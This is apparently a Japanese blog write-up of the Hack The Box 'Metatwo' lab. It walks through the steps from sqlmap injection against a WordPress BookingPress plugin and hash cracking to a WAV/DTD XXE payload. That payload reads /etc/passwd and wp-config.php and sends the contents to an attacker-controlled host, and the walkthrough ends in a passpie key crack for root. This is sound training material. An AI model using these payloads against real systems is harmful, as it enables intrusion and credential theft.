Skip to content

Hack the box - Metatwo

Hack the boxのMetatwoを完了したのでメモ。

難易度Writeupを
Easy見た

1. nmapでrecon

2. webサーバが動いているのでアクセス

  • ソースを見るとwordpressで動いてることがわかる → wordpress 5.6.2
  • ページをいくつか見ると/eventページでスケジューリングする機能がある → bookingpress 1.0.10

3. bookingpress < 1.0.11 認証前のSQLIの脆弱性

4. SQLMap

リクエストのうち、パラメータtotal_serviceが脆弱であることを教えてやりつつDBの一覧を取得

Terminal window
$ sqlmap -r bookig.req -p total_service --dbs

bloginformation_schemaの二つのDBが見つかったので、blogに絞ってテーブル一覧取得

Terminal window
$ sqlmap -r bookig.req -p total_service -D blog --tables

wp_usersをdumpしてユーザとパスワードハッシュを取得

Terminal window
$ sqlmap -r bookig.req -p total_service -D blog -T wp_users --dump

5. 得られたハッシュをhashcatにかける

Terminal window
$ hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --username

managerのパスワードがわかる

6. managerのCredsでWordpressにログイン

メディアをアップロードする画面が使える → wavファイル+dtdファイルを使ったLFI

7. wavファイル + dtdファイルでLFI

payload.wavの生成

Terminal window
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<IPADDR>:<PORT>/payload.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

payload.dtdの生成

Terminal window
$ vim payload.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://<IPADDR>:<PORT>/?p=%file;'>" >

ローカルでWebサーバを起動したら、payload.wavを管理画面からアップロード → base64エンコードされた/etc/passwdを含んだリクエストがローカルWebサーバに着弾する

phpでdecode

Terminal window
$ php -a
Interactive shell
php > echo zlib_decode(base64_decode('<ENCODED_DATA>'))

ユーザ一覧が得られる。jnelsonが一般ユーザっぽい

ついでに同じ要領で、wp-config.phpの中身も確認しておく → ftpのCredsが入手できる

8. ftpサーバにログイン

send_email.phpなる怪しいファイルを見つける → jnelsonのパスワードを発見

9. sshサーバにログイン

jnelsonユーザでログイン ※このときsshコマンドが一向に進まず時間を食ったが、自分の環境だとtun0のインタフェースのMTUを1300に減らすことで成功した

user.txtでフラグ入手

/home/jnelson/配下に.passpieなるディレクトリを発見 → パスワードマネージャだとわかる

/home/jnelson/.passpie/.keysに公開鍵と秘密鍵が含まれているので、秘密鍵だけ取り出してgpgp2johnでjohnで解析できるフォーマットに変換

10. johnにかける

Terminal window
$ gpg2john passpie_keys_pri.gpg > passpie_keys_pri.john
$ sudo john -w:/usr/share/wordlists/rockyou.txt passpie_keys_pri.john

rootユーザがpasspieで使用するパスフレーズがわかるので、それを使って

Terminal window
$ passpie export <OUTPUT FILE>

でパスワードをExportする

11. PrivEsc

入手したrootのパスワードでsuコマンドで特権昇格 → 2つめのフラグを入手